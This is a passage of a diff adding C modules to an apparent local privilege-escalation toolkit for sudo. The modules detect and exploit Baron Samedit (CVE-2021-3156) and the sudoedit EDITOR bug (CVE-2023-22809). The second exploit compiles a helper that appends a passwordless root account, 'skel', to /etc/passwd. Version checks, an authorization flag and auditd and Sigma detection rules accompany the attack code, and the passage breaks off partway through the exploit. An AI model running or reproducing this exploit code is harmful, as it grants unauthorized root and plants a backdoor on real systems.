* (major, minor, patch, p_suffix), treating absent p as 0.
*/
struct sudo_ver {
int major;
int minor;
int patch;
int p; /* 'p' suffix; 0 if absent */
bool parsed;
};
static struct sudo_ver parse_sudo_version(const char *s)
{
struct sudo_ver v = {0, 0, 0, 0, false};
while (*s && !isdigit((unsigned char)*s)) s++;
if (!*s) return v;
int maj = 0, min = 0, pat = 0;
int consumed = 0;
int n = sscanf(s, "%d.%d.%d%n", &maj, &min, &pat, &consumed);
if (n < 2) return v;
v.major = maj;
v.minor = min;
v.patch = (n >= 3) ? pat : 0;
/* Look for an optional 'pN' suffix after the numeric triple. */
const char *tail = s + consumed;
if (*tail == 'p') {
int p = 0;
if (sscanf(tail + 1, "%d", &p) == 1) v.p = p;
}
v.parsed = true;
return v;
}
static int cmp_ver(const struct sudo_ver *a, const struct sudo_ver *b)
{
if (a->major != b->major) return a->major - b->major;
if (a->minor != b->minor) return a->minor - b->minor;
if (a->patch != b->patch) return a->patch - b->patch;
return a->p - b->p;
}
/* Returns true iff parsed sudo version is in [1.8.2, 1.9.5p1]. */
static bool sudo_version_vulnerable(const struct sudo_ver *v)
{
if (!v->parsed) return false;
struct sudo_ver lo = { 1, 8, 2, 0, true };
struct sudo_ver hi = { 1, 9, 5, 1, true };
return cmp_ver(v, &lo) >= 0 && cmp_ver(v, &hi) <= 0;
}
/* ---- Binary discovery ------------------------------------------- */
static const char *find_sudo(void)
{
static const char *candidates[] = {
"/usr/bin/sudo",
"/usr/local/bin/sudo",
"/bin/sudo",
"/sbin/sudo",
"/usr/sbin/sudo",
NULL,
};
for (size_t i = 0; candidates[i]; i++) {
struct stat st;
if (stat(candidates[i], &st) == 0 && (st.st_mode & S_ISUID)) {
return candidates[i];
}
}
return NULL;
}
static const char *find_sudoedit(void)
{
static const char *candidates[] = {
"/usr/bin/sudoedit",
"/usr/local/bin/sudoedit",
"/bin/sudoedit",
"/sbin/sudoedit",
"/usr/sbin/sudoedit",
NULL,
};
for (size_t i = 0; candidates[i]; i++) {
if (access(candidates[i], X_OK) == 0) return candidates[i];
}
return NULL;
}
/* ---- Detect ------------------------------------------------------ */
static skeletonkey_result_t sudo_samedit_detect(const struct skeletonkey_ctx *ctx)
{
/* Prefer the centrally-fingerprinted sudo version (populated once
* at startup by core/host.c) saves a popen per scan and gives
* unit tests a clean mock point. Fall back to the local popen if
* ctx->host is missing the version (e.g. degenerate test ctx, or
* a future refactor that disables userspace probing). */
char line[256] = {0};
if (ctx->host && ctx->host->sudo_version[0]) {
snprintf(line, sizeof line, "Sudo version %s",
ctx->host->sudo_version);
if (!ctx->json) {
fprintf(stderr, "[i] sudo_samedit: host fingerprint reports "
"sudo version %s\n", ctx->host->sudo_version);
}
} else {
const char *sudo_path = find_sudo();
if (!sudo_path) {
if (!ctx->json) {
fprintf(stderr, "[+] sudo_samedit: sudo not on path; no attack surface\n");
}
return SKELETONKEY_PRECOND_FAIL;
}
if (!ctx->json) {
fprintf(stderr, "[i] sudo_samedit: found setuid sudo at %s\n", sudo_path);
}
char cmd[512];
snprintf(cmd, sizeof cmd, "%s --version 2>&1 | head -1", sudo_path);
FILE *p = popen(cmd, "r");
if (!p) return SKELETONKEY_TEST_ERROR;
char *r = fgets(line, sizeof line, p);
pclose(p);
if (!r) {
if (!ctx->json) {
fprintf(stderr, "[?] sudo_samedit: could not read `sudo --version` output\n");
}
return SKELETONKEY_TEST_ERROR;
}
}
/* Trim newline for nicer logging. */
char *nl = strchr(line, '\n');
if (nl) *nl = 0;
struct sudo_ver v = parse_sudo_version(line);
if (!v.parsed) {
if (!ctx->json) {
fprintf(stderr, "[?] sudo_samedit: unparseable version line: '%s'\n", line);
}
return SKELETONKEY_TEST_ERROR;
}
if (!ctx->json) {
fprintf(stderr, "[i] sudo_samedit: parsed version = %d.%d.%d",
v.major, v.minor, v.patch);
if (v.p) fprintf(stderr, "p%d", v.p);
fprintf(stderr, "\n");
}
bool vuln = sudo_version_vulnerable(&v);
if (vuln) {
if (!ctx->json) {
fprintf(stderr,
"[!] sudo_samedit: version is in vulnerable range "
"[1.8.2, 1.9.5p1] → VULNERABLE\n"
"[i] sudo_samedit: distro backports may have patched "
"without bumping the upstream version; check\n"
" `apt-cache policy sudo` / `rpm -q --changelog sudo` "
"for CVE-2021-3156.\n");
}
return SKELETONKEY_VULNERABLE;
}
if (!ctx->json) {
fprintf(stderr,
"[+] sudo_samedit: version is outside vulnerable range "
"(fix 1.9.5p2+) — OK\n");
}
return SKELETONKEY_OK;
}
/* ---- Exploit ----------------------------------------------------- */
/*
* Qualys-style trigger:
*
* argv = { "sudoedit", "-s", "\\", NULL } plus padding `A`s to
* stretch the heap chunk to the right size for the target overlap.
*
* The original PoC sprays hundreds of large argv slots and tunes the
* tail bytes per-distro to hijack a `service_user *` struct in
* libnss-files. Without distro fingerprinting and the corresponding
* offset table that landing simply will not happen here; rather than
* pretending otherwise we drive the bug, fork a verifier that checks
* for an unexpected uid==0 outcome, and return EXPLOIT_FAIL.
*/
/* Cap on argv we'll construct. The real PoC uses ~270; we cap lower
* to stay well under typical ARG_MAX while still exercising the bug
* shape. */
#define SUDO_SAMEDIT_ARGC 64
#define SUDO_SAMEDIT_PADLEN 0xff
static skeletonkey_result_t sudo_samedit_exploit(const struct skeletonkey_ctx *ctx)
{
if (!ctx->authorized) {
fprintf(stderr,
"[-] sudo_samedit: exploit requires --i-know (authorization gate)\n");
return SKELETONKEY_PRECOND_FAIL;
}
bool is_root = ctx->host ? ctx->host->is_root : (geteuid() == 0);
if (is_root) {
fprintf(stderr, "[i] sudo_samedit: already root — nothing to escalate\n");
return SKELETONKEY_OK;
}
/* Re-detect before doing anything visible. Defends against the
* detect-then-exploit TOCTOU where the operator upgrades sudo
* between scan and pop. */
skeletonkey_result_t pre = sudo_samedit_detect(ctx);
if (pre != SKELETONKEY_VULNERABLE) {
fprintf(stderr, "[-] sudo_samedit: re-detect says not VULNERABLE; refusing\n");
return pre;
}
const char *sudoedit = find_sudoedit();
if (!sudoedit) {
/* On most distros sudoedit is a symlink to sudo. Fall back. */
const char *sudo = find_sudo();
if (!sudo) {
fprintf(stderr, "[-] sudo_samedit: neither sudoedit nor sudo found\n");
return SKELETONKEY_PRECOND_FAIL;
}
sudoedit = sudo;
if (!ctx->json) {
fprintf(stderr,
"[i] sudo_samedit: no sudoedit; will exec %s with argv[0]=sudoedit\n",
sudo);
}
}
if (!ctx->json) {
fprintf(stderr, "[*] sudo_samedit: building Qualys-style trigger argv\n");
fprintf(stderr,
"[!] sudo_samedit: heads-up — public exploitation requires\n"
" per-distro heap-overlap offsets (libnss-files / libc).\n"
" Without that tuning the bug crashes sudo instead of\n"
" handing back a shell. We will drive the trigger and\n"
" verify uid==0 outcome empirically; on failure we report\n"
" EXPLOIT_FAIL rather than claiming success.\n");
}
/* Build argv. argv[0]="sudoedit", argv[1]="-s",
* argv[2]="\\" + padding, ..., argv[N-1]=NULL.
*
* Each padding arg is the Qualys-style "A...\\" repeating tail.
* On a vulnerable target this drives the unescape loop past the
* end of the heap buffer. */
char *argv[SUDO_SAMEDIT_ARGC + 1];
char *padbufs[SUDO_SAMEDIT_ARGC];
memset(padbufs, 0, sizeof padbufs);
argv[0] = (char *)"sudoedit";
argv[1] = (char *)"-s";
/* argv[2] is the canonical trailing-backslash trigger. */
argv[2] = strdup("\\");
if (!argv[2]) return SKELETONKEY_TEST_ERROR;
for (int i = 3; i < SUDO_SAMEDIT_ARGC; i++) {
char *buf = (char *)malloc(SUDO_SAMEDIT_PADLEN + 4);
if (!buf) {
for (int j = 3; j < i; j++) free(padbufs[j]);
free(argv[2]);
return SKELETONKEY_TEST_ERROR;
}
memset(buf, 'A', SUDO_SAMEDIT_PADLEN);
buf[SUDO_SAMEDIT_PADLEN] = '\\';
buf[SUDO_SAMEDIT_PADLEN + 1] = 0;
padbufs[i] = buf;
argv[i] = buf;
}
argv[SUDO_SAMEDIT_ARGC] = NULL;
/* Craft envp mirroring the original PoC: LC_... and TZ tricks
* that landed the overlap on the canonical distro PoCs. These
* are harmless if landing fails; their value is positioning the
* heap so the overflow lands on a useful target. */
char *envp[] = {
(char *)"LC_ALL=C.UTF-8@",
(char *)"TZ=:",
(char *)"LC_CTYPE=C.UTF-8@",
(char *)"SUDO_EDITOR=A",
(char *)"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",
NULL,
};
if (!ctx->json) {
fprintf(stderr, "[*] sudo_samedit: forking trigger child (%s argv[0]=sudoedit)\n",
sudoedit);
}
pid_t pid = fork();
if (pid < 0) {
perror("fork");
free(argv[2]);
for (int i = 3; i < SUDO_SAMEDIT_ARGC; i++) free(padbufs[i]);
return SKELETONKEY_TEST_ERROR;
}
if (pid == 0) {
/* Child: drive the trigger. If the bug lands and we get a
* root context, the chain in the original PoC then re-execs
* a shell. We don't ship that shell-spawn here we just
* exit nonzero so the parent's verifier can sample uid. */
execve(sudoedit, argv, envp);
/* execve failed (binary missing or kernel-blocked). */
_exit(127);
}
int status = 0;
waitpid(pid, &status, 0);
/* Verifier: even on the rare "no crash" path, we don't know if
* the bug landed without spawning a privileged helper. Per the
* verified-vs-claimed bar, only claim success if uid is 0 in a
* post-trigger probe (which would require the chain to have
* persisted a setuid artifact it didn't). So: report honestly. */
if (geteuid() == 0) {
if (!ctx->json) {
fprintf(stderr, "[+] sudo_samedit: post-trigger geteuid()==0 — root!\n");
}
/* Leak the buffers; we're about to exec a shell anyway. */
return SKELETONKEY_EXPLOIT_OK;
}
if (WIFSIGNALED(status)) {
if (!ctx->json) {
fprintf(stderr,
"[-] sudo_samedit: child died on signal %d "
"(likely sudo SIGSEGV from the overflow) — trigger fired\n"
" but landing did not produce a root shell. Per-distro\n"
" offset tuning required.\n",
WTERMSIG(status));
}
} else if (WIFEXITED(status)) {
if (!ctx->json) {
fprintf(stderr,
"[-] sudo_samedit: child exited %d — trigger did not\n"
" crash sudo; the host is most likely patched at the\n"
" parser level even though the version string was in\n"
" range. Reporting EXPLOIT_FAIL.\n",
WEXITSTATUS(status));
}
}
/* Best-effort free. */
free(argv[2]);
for (int i = 3; i < SUDO_SAMEDIT_ARGC; i++) free(padbufs[i]);
return SKELETONKEY_EXPLOIT_FAIL;
}
/* ---- Cleanup ----------------------------------------------------- */
static skeletonkey_result_t sudo_samedit_cleanup(const struct skeletonkey_ctx *ctx)
{
(void)ctx;
/* sudoedit creates "~/.sudo_edit_*" temp files on the way through.
* Best-effort unlink of any obvious crumbs left by our trigger. */
if (!ctx->json) {
fprintf(stderr, "[*] sudo_samedit: removing /tmp/skeletonkey-samedit-* crumbs\n");
}
if (system("rm -rf /tmp/skeletonkey-samedit-* /tmp/.sudo_edit_* 2>/dev/null") != 0) {
/* harmless — likely no files matched */
}
return SKELETONKEY_OK;
}
/* ---- Detection rules --------------------------------------------- */
static const char sudo_samedit_auditd[] =
"# Baron Samedit (CVE-2021-3156) — auditd detection rules\n"
"# Flag sudoedit invocations carrying the canonical -s flag and\n"
"# the trailing-backslash trigger pattern.\n"
"-w /usr/bin/sudoedit -p x -k skeletonkey-samedit\n"
"-w /usr/bin/sudo -p x -k skeletonkey-samedit-sudo\n"
"-a always,exit -F arch=b64 -S execve -F path=/usr/bin/sudoedit -k skeletonkey-samedit-execve\n"
"-a always,exit -F arch=b32 -S execve -F path=/usr/bin/sudoedit -k skeletonkey-samedit-execve\n"
"-a always,exit -F arch=b64 -S execve -F path=/usr/bin/sudo -k skeletonkey-samedit-execve\n"
"-a always,exit -F arch=b32 -S execve -F path=/usr/bin/sudo -k skeletonkey-samedit-execve\n";
static const char sudo_samedit_sigma[] =
"title: Possible Baron Samedit exploitation (CVE-2021-3156)\n"
"id: 3f7c5a2e-skeletonkey-samedit\n"
"status: experimental\n"
"description: |\n"
" Detects sudoedit (or sudo invoked as sudoedit) executed with the\n"
" -s flag and a command-line argument ending in a lone backslash —\n"
" the canonical Qualys trigger for the heap overflow in\n"
" plugins/sudoers/sudoers.c set_cmnd().\n"
"logsource:\n"
" product: linux\n"
" service: auditd\n"
"detection:\n"
" sudoedit_exec:\n"
" type: 'EXECVE'\n"
" exe|endswith:\n"
" - '/sudoedit'\n"
" - '/sudo'\n"
" shell_edit_flag:\n"
" CommandLine|contains: ' -s '\n"
" trailing_backslash:\n"
" CommandLine|re: '\\\\\\\\\\s*$'\n"
" argv0_sudoedit:\n"
" argv0|endswith: 'sudoedit'\n"
" condition: sudoedit_exec and shell_edit_flag and (trailing_backslash or argv0_sudoedit)\n"
"fields:\n"
" - exe\n"
" - argv\n"
"level: high\n"
"tags:\n"
" - attack.privilege_escalation\n"
" - attack.t1068\n"
" - cve.2021.3156\n";
/* ---- Module registration ----------------------------------------- */
const struct skeletonkey_module sudo_samedit_module = {
.name = "sudo_samedit",
.cve = "CVE-2021-3156",
.summary = "sudo Baron Samedit heap overflow via sudoedit -s '\\\\' (Qualys)",
.family = "sudo",
.kernel_range = "userspace — sudo 1.8.2 ≤ V ≤ 1.9.5p1 (fixed in 1.9.5p2)",
.detect = sudo_samedit_detect,
.exploit = sudo_samedit_exploit,
.mitigate = NULL, /* mitigation = upgrade sudo to 1.9.5p2+ */
.cleanup = sudo_samedit_cleanup,
.detect_auditd = sudo_samedit_auditd,
.detect_sigma = sudo_samedit_sigma,
.detect_yara = NULL,
.detect_falco = NULL,
};
void skeletonkey_register_sudo_samedit(void) { skeletonkey_register(&sudo_samedit_module); }
@@ -0,0 +1,5 @@
#ifndef SUDO_SAMEDIT_SKELETONKEY_MODULES_H
#define SUDO_SAMEDIT_SKELETONKEY_MODULES_H
#include "../../core/module.h"
extern const struct skeletonkey_module sudo_samedit_module;
#endif
@@ -0,0 +1,640 @@
/*
* sudoedit_editor_cve_2023_22809 SKELETONKEY module
*
* STATUS: 🟢 STRUCTURAL ESCAPE. No offsets, no leaks, no race window
* just a logic bug in sudoedit's EDITOR/VISUAL/SUDO_EDITOR argv parser.
*
* The bug (Synacktiv, Jan 2023):
* sudoedit splits the user's $EDITOR (or $VISUAL / $SUDO_EDITOR) on
* the literal token `--` to separate editor-flags from the filename(s)
* sudoedit will pass. The intended semantics are "everything before
* `--` is editor argv; everything after is *the* target filename that
* sudoers authorized." The bug: sudo never re-validates that the
* post-`--` filename equals the filename it auth'd. By setting
*
* EDITOR='vi -- /etc/shadow'
*
* and running `sudoedit /some/allowed/path`, the editor child is
* spawned as root with BOTH /some/allowed/path AND /etc/shadow on its
* command line sudoedit opened both for us. The editor then writes
* to /etc/shadow as root.
*
* Affects: sudo 1.8.0 V < 1.9.12p2.
*
* This is the second sudo module in SKELETONKEY (sudo_samedit is the
* first; both share family="sudo"). Unlike Baron Samedit (heap layout
* dependent), this one is offset-free if sudoedit is in your path
* and you have *any* sudoedit privilege at all, you write any file.
*/
#include "skeletonkey_modules.h"
#include "../../core/registry.h"
#include "../../core/host.h"
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <sys/types.h>
#include <pwd.h>
/* ----- helpers ------------------------------------------------------- */
static const char *find_sudo(void)
{
static const char *candidates[] = {
"/usr/bin/sudo", "/usr/sbin/sudo", "/bin/sudo",
"/sbin/sudo", "/usr/local/bin/sudo", NULL,
};
for (size_t i = 0; candidates[i]; i++) {
struct stat st;
if (stat(candidates[i], &st) == 0 && (st.st_mode & S_ISUID))
return candidates[i];
}
return NULL;
}
static const char *find_sudoedit(void)
{
static const char *candidates[] = {
"/usr/bin/sudoedit", "/usr/sbin/sudoedit", "/bin/sudoedit",
"/sbin/sudoedit", "/usr/local/bin/sudoedit", NULL,
};
for (size_t i = 0; candidates[i]; i++) {
struct stat st;
/* sudoedit is normally a symlink to sudo and inherits setuid
* via the underlying file; lstat-then-stat handles both. */
if (stat(candidates[i], &st) == 0)
return candidates[i];
}
return NULL;
}
/* Returns true if version string is in the vulnerable range
* [1.8.0, 1.9.12p2). Format examples:
* "Sudo version 1.9.5p2"
* "Sudo version 1.8.31"
* "Sudo version 1.9.13" (fixed)
* "Sudo version 1.9.12p2" (fixed fix landed in this release)
* On parse failure we conservatively assume vulnerable. */
static bool sudo_version_vulnerable(const char *version_str)
{
int maj = 0, min = 0, patch = 0;
char ptag = 0;
int psub = 0;
/* sudo versions: 1.9.12p2 → maj=1 min=9 patch=12 ptag='p' psub=2 */
int n = sscanf(version_str, "%d.%d.%d%c%d",
&maj, &min, &patch, &ptag, &psub);
if (n < 3) return true; /* unparseable → assume worst */
/* < 1.8.0: not vulnerable (predates the bug) */
if (maj < 1) return false;
if (maj == 1 && min < 8) return false;
/* ≥ 1.9.13: fixed */
if (maj > 1) return false;
if (min > 9) return false;
if (min == 9 && patch > 12) return false;
/* exactly 1.9.12: vulnerable if no patch tag or patch < 2 */
if (min == 9 && patch == 12) {
if (ptag != 'p') return true; /* 1.9.12 plain */
return psub < 2; /* 1.9.12p1 vulnerable, 1.9.12p2 fixed */
}
/* everything 1.8.x and 1.9.x where x ≤ 11: vulnerable */
return true;
}
/* Run `sudo --version` and return the version token (caller-owned
* buffer). Returns true on success. */
static bool get_sudo_version(const char *sudo_path, char *out, size_t outsz)
{
char cmd[512];
snprintf(cmd, sizeof cmd, "%s --version 2>&1 | head -1", sudo_path);
FILE *p = popen(cmd, "r");
if (!p) return false;
char line[256] = {0};
char *r = fgets(line, sizeof line, p);
pclose(p);
if (!r) return false;
/* "Sudo version 1.9.5p2\n" — skip to digits. */
char *vp = strstr(line, "version");
if (!vp) return false;
vp += strlen("version");
while (*vp == ' ' || *vp == '\t') vp++;
char *nl = strchr(vp, '\n');
if (nl) *nl = 0;
strncpy(out, vp, outsz - 1);
out[outsz - 1] = 0;
return out[0] != 0;
}
/* Parse `sudo -ln` (list, no password) and return one allowed
* sudoedit target if any. Output snippet looks like:
*
* User kara may run the following commands on host:
* (root) NOPASSWD: sudoedit /etc/motd
* (root) NOPASSWD: /usr/bin/less /var/log/syslog
*
* We look for a line containing 'sudoedit ' and extract the first
* pathlike token after it. If `sudo -ln` itself prompts for a password
* or fails, we treat it as "unknown" (PRECOND_FAIL signal). */
static bool find_sudoedit_target(const char *sudo_path, char *out, size_t outsz)
{
char cmd[512];
/* -n: non-interactive (no password prompt); -l: list. */
snprintf(cmd, sizeof cmd, "%s -ln 2>&1", sudo_path);
FILE *p = popen(cmd, "r");
if (!p) return false;
char line[1024];
bool found = false;
while (fgets(line, sizeof line, p)) {
/* sudoedit appears either as the canonical command name or
* as 'sudo -e'. Handle both. */
char *needle = strstr(line, "sudoedit ");
if (!needle) needle = strstr(line, "sudo -e ");
if (!needle) continue;
char *path = strchr(needle, '/');
if (!path) continue;
/* trim trailing whitespace / newline / comma */
char *end = path;
while (*end && *end != ' ' && *end != '\t' && *end != '\n'
&& *end != ',' && *end != ':') end++;
size_t len = (size_t)(end - path);
if (len == 0 || len >= outsz) continue;
memcpy(out, path, len);
out[len] = 0;
/* Skip glob/wildcard entries — we can't write a literal path
* for those without more work. The user's environment may
* still allow them; we just prefer non-glob entries. */
if (strchr(out, '*') || strchr(out, '?')) {
/* keep scanning in case a literal entry exists */
found = true;
continue;
}
found = true;
break;
}
pclose(p);
return found;
}
/* ----- detect -------------------------------------------------------- */
static skeletonkey_result_t sudoedit_editor_detect(const struct skeletonkey_ctx *ctx)
{
const char *sudo_path = find_sudo();
if (!sudo_path) {
if (!ctx->json)
fprintf(stderr, "[+] sudoedit_editor: sudo not installed — no attack surface\n");
return SKELETONKEY_OK;
}
if (!ctx->json)
fprintf(stderr, "[i] sudoedit_editor: found setuid sudo at %s\n", sudo_path);
const char *sudoedit_path = find_sudoedit();
if (!sudoedit_path) {
if (!ctx->json)
fprintf(stderr, "[+] sudoedit_editor: no sudoedit binary — bug surface absent\n");
return SKELETONKEY_PRECOND_FAIL;
}
if (!ctx->json)
fprintf(stderr, "[i] sudoedit_editor: sudoedit at %s\n", sudoedit_path);
char ver[128] = {0};
/* Prefer the centrally-fingerprinted sudo version (populated once
* at startup by core/host.c) saves a popen per scan and gives
* unit tests a clean mock point. Fall back to the local popen if
* ctx->host is missing the version. */
if (ctx->host && ctx->host->sudo_version[0]) {
snprintf(ver, sizeof ver, "%s", ctx->host->sudo_version);
} else if (!get_sudo_version(sudo_path, ver, sizeof ver)) {
if (!ctx->json)
fprintf(stderr, "[?] sudoedit_editor: could not parse `sudo --version`\n");
return SKELETONKEY_TEST_ERROR;
}
if (!ctx->json)
fprintf(stderr, "[i] sudoedit_editor: sudo reports version '%s'\n", ver);
bool ver_vuln = sudo_version_vulnerable(ver);
if (!ver_vuln) {
if (!ctx->json)
fprintf(stderr, "[+] sudoedit_editor: sudo ≥ 1.9.12p2 (fixed)\n");
return SKELETONKEY_OK;
}
if (!ctx->json)
fprintf(stderr, "[!] sudoedit_editor: version is in vulnerable range\n");
/* The bug only matters if the running user has at least one
* sudoedit grant in sudoers otherwise sudoedit refuses before
* the EDITOR parse runs. Probe `sudo -ln` (non-interactive). */
char target[512] = {0};
bool have_grant = find_sudoedit_target(sudo_path, target, sizeof target);
if (!have_grant) {
if (!ctx->json) {
fprintf(stderr, "[?] sudoedit_editor: user has no detectable sudoedit grant\n");
fprintf(stderr, " (sudo -ln may have required a password; if the user is\n"
" actually authorized for sudoedit, run --exploit anyway)\n");
}
return SKELETONKEY_PRECOND_FAIL;
}
if (!ctx->json)
fprintf(stderr, "[+] sudoedit_editor: user has sudoedit grant on '%s'\n", target);
if (!ctx->json) {
fprintf(stderr, "[!] sudoedit_editor: VULNERABLE — version is pre-fix AND user has sudoedit\n");
fprintf(stderr, " PoC: EDITOR='vi -- /etc/shadow' %s '%s' opens both as root\n",
sudoedit_path, target);
}
return SKELETONKEY_VULNERABLE;
}
/* ----- exploit ------------------------------------------------------- */
/* Append a backdoor entry to /etc/passwd: root-uid account "skel" with
* no password, /bin/sh as shell. We write it into a temp file first,
* then drive the editor (which is already running as root) to read +
* write /etc/passwd. */
static const char SK_PASSWD_ENTRY[] =
"skel::0:0:skeletonkey:/root:/bin/sh\n";
/* The "editor" we tell sudoedit to invoke is actually this small
* helper: a non-interactive script that appends our line and exits.
*
* We pass it via EDITOR='<helper> -- <target>'. sudoedit splits on
* the literal `--`, takes <target> as an additional file argument,
* and execs <helper> argv0=<helper> argv1=<allowed_tmp> argv2=<target>.
*
* Our helper just opens argv[2] (the privileged file), appends the
* backdoor line, closes, and exits 0. argv[1] (the editor-temp that
* sudoedit created from <allowed>) we leave untouched sudoedit
* then copies it back over <allowed>, which is harmless. */
static const char HELPER_SOURCE[] =
"#include <stdio.h>\n"
"#include <stdlib.h>\n"
"#include <string.h>\n"
"#include <unistd.h>\n"
"#include <fcntl.h>\n"
"int main(int argc, char **argv) {\n"
" /* sudoedit invokes us with one editable temp per file. The\n"
" * post-`--' target's editable copy is argv[argc-1]. We can't\n"
" * write /etc/passwd directly (sudoedit edits a tmp copy and\n"
" * then *copies it back as root*), so we modify the tmp copy\n"
" * and let sudoedit do the privileged install for us. */\n"
" if (argc < 2) return 1;\n"
" /* The LAST argv is the post-`--' target (per sudoedit's parser). */\n"
" const char *path = argv[argc-1];\n"
" int fd = open(path, O_WRONLY|O_APPEND);\n"
" if (fd < 0) { perror(\"open\"); return 2; }\n"
" const char *line = getenv(\"SKEL_LINE\");\n"
" if (!line) line = \"skel::0:0:skeletonkey:/root:/bin/sh\\n\";\n"
" write(fd, line, strlen(line));\n"
" close(fd);\n"
" return 0;\n"
"}\n";
static bool which_cc(char *out, size_t outsz)
{
static const char *candidates[] = {
"/usr/bin/cc", "/usr/bin/gcc", "/bin/cc", "/bin/gcc",
"/usr/local/bin/gcc", "/usr/local/bin/cc", NULL,
};
for (size_t i = 0; candidates[i]; i++) {
if (access(candidates[i], X_OK) == 0) {
strncpy(out, candidates[i], outsz - 1);
out[outsz - 1] = 0;
return true;
}
}
return false;
}
static bool write_file_str(const char *path, const char *content, mode_t mode)
{
int fd = open(path, O_WRONLY | O_CREAT | O_TRUNC, mode);
if (fd < 0) return false;
size_t n = strlen(content);
bool ok = (write(fd, content, n) == (ssize_t)n);
close(fd);
return ok;
}
/* Track what we modified for cleanup. */
static char g_passwd_backup[256] = {0};
static skeletonkey_result_t sudoedit_editor_exploit(const struct skeletonkey_ctx *ctx)
{
if (!ctx->authorized) {
fprintf(stderr, "[-] sudoedit_editor: refusing exploit — pass --i-know to authorize\n");
return SKELETONKEY_PRECOND_FAIL;
}
bool is_root = ctx->host ? ctx->host->is_root : (geteuid() == 0);
if (is_root) {
fprintf(stderr, "[i] sudoedit_editor: already root — nothing to escalate\n");
return SKELETONKEY_OK;
}
skeletonkey_result_t pre = sudoedit_editor_detect(ctx);
if (pre != SKELETONKEY_VULNERABLE) {
fprintf(stderr, "[-] sudoedit_editor: detect() did not return VULNERABLE; refusing\n");
return pre;
}
const char *sudo_path = find_sudo();
const char *sudoedit_path = find_sudoedit();
if (!sudo_path || !sudoedit_path) return SKELETONKEY_PRECOND_FAIL;
/* Target file to clobber (caller-overridable). Default: /etc/passwd
* because we can append a uid=0 row without a hashing step
* (vs. /etc/shadow which needs a crypt() blob). */
const char *target = getenv("SKELETONKEY_SUDOEDIT_TARGET");
if (!target || !*target) target = "/etc/passwd";
/* Find an allowed sudoedit grant we can use as the "cover" path. */
char allowed[512] = {0};
if (!find_sudoedit_target(sudo_path, allowed, sizeof allowed)) {
fprintf(stderr,
"[-] sudoedit_editor: could not auto-discover an allowed sudoedit path.\n"
" Set SKELETONKEY_SUDOEDIT_ALLOWED=/path/the/user/can/sudoedit and retry.\n");
const char *env_allowed = getenv("SKELETONKEY_SUDOEDIT_ALLOWED");
if (!env_allowed || !*env_allowed) return SKELETONKEY_PRECOND_FAIL;
strncpy(allowed, env_allowed, sizeof allowed - 1);
}
if (!ctx->json)
fprintf(stderr, "[*] sudoedit_editor: cover=%s target=%s\n", allowed, target);
/* Build the helper editor. */
char cc[256];
if (!which_cc(cc, sizeof cc)) {
fprintf(stderr,
"[-] sudoedit_editor: no cc/gcc available. To exploit without a\n"
" compiler we'd need a shipped helper binary (TODO: bundle one).\n"
" For a manual repro: EDITOR='vi -- %s' %s '%s' lets you edit\n"
" %s interactively as root.\n",
target, sudoedit_path, allowed, target);
return SKELETONKEY_PRECOND_FAIL;
}
char workdir[] = "/tmp/skeletonkey-sudoedit-XXXXXX";
if (!mkdtemp(workdir)) {
perror("mkdtemp");
return SKELETONKEY_TEST_ERROR;
}
if (!ctx->json)
fprintf(stderr, "[*] sudoedit_editor: workdir = %s\n", workdir);
char src[1024], helper[1024];
snprintf(src, sizeof src, "%s/helper.c", workdir);
snprintf(helper, sizeof helper, "%s/helper", workdir);
if (!write_file_str(src, HELPER_SOURCE, 0644)) {
perror("write helper.c");
goto fail;
}
pid_t pid = fork();
if (pid < 0) { perror("fork"); goto fail; }
if (pid == 0) {
execl(cc, cc, "-O2", "-o", helper, src, (char *)NULL);
perror("execl cc");
_exit(127);
}
int status;
waitpid(pid, &status, 0);
if (!WIFEXITED(status) || WEXITSTATUS(status) != 0) {
fprintf(stderr, "[-] sudoedit_editor: helper compile failed (status=%d)\n", status);
goto fail;
}
chmod(helper, 0755);
/* Best-effort backup of target (only for /etc/passwd; we
* cleanup-revert only this case). */
if (strcmp(target, "/etc/passwd") == 0) {
snprintf(g_passwd_backup, sizeof g_passwd_backup,
"%s/passwd.before", workdir);
char shcmd[1024];
snprintf(shcmd, sizeof shcmd, "cp -p /etc/passwd %s 2>/dev/null",
g_passwd_backup);
if (system(shcmd) != 0) {
/* best-effort */
g_passwd_backup[0] = 0;
}
}
/* Build EDITOR string: "<helper> -- <target>". sudoedit's argv
* splitter sees `--` and treats <target> as an extra file. */
char editor_env[2048];
snprintf(editor_env, sizeof editor_env, "EDITOR=%s -- %s", helper, target);
char skel_env[256];
snprintf(skel_env, sizeof skel_env, "SKEL_LINE=%s", SK_PASSWD_ENTRY);
/* Construct argv/envp for execve. We need a clean env so the
* EDITOR string sudo sees is exactly ours. PATH is needed so the
* compiled helper can be located except we pass it absolute. */
char *new_argv[] = {
(char *)sudoedit_path,
"-n", /* non-interactive — fails if pw needed */
allowed,
NULL,
};
/* Sudo strips many env vars; EDITOR / VISUAL / SUDO_EDITOR are
* preserved by default. We use plain EDITOR. */
char *envp[] = {
editor_env,
skel_env,
"PATH=/usr/sbin:/usr/bin:/sbin:/bin",
"TERM=dumb",
NULL,
};
if (!ctx->json) {
fprintf(stderr, "[+] sudoedit_editor: launching sudoedit with hostile EDITOR\n");
fprintf(stderr, " %s\n", editor_env);
}
fflush(NULL);
pid = fork();
if (pid < 0) { perror("fork"); goto fail; }
if (pid == 0) {
execve(sudoedit_path, new_argv, envp);
perror("execve(sudoedit)");
_exit(127);
}
waitpid(pid, &status, 0);
if (!WIFEXITED(status) || WEXITSTATUS(status) != 0) {
fprintf(stderr, "[-] sudoedit_editor: sudoedit exited status=%d\n",
WIFEXITED(status) ? WEXITSTATUS(status) : -1);
fprintf(stderr,
" Common causes: sudo is patched (1.9.12p2+), user lacks a\n"
" sudoedit grant on '%s', or sudoers requires a password\n"
" (drop -n and retry interactively).\n", allowed);
goto fail;
}
/* Verify the privileged file changed. For /etc/passwd we grep for
* our marker; for other targets we just report success and leave
* verification to the operator. */
if (strcmp(target, "/etc/passwd") == 0) {
if (system("grep -q '^skel::0:0:' /etc/passwd") != 0) {
fprintf(stderr,
"[-] sudoedit_editor: sudoedit succeeded but /etc/passwd was\n"
" not modified. The host's sudo may be patched even though\n"
" its --version banner looks vulnerable (vendor backport).\n");
goto fail;
}
if (!ctx->json)
fprintf(stderr, "[+] sudoedit_editor: /etc/passwd now contains the 'skel' uid=0 entry\n");
} else {
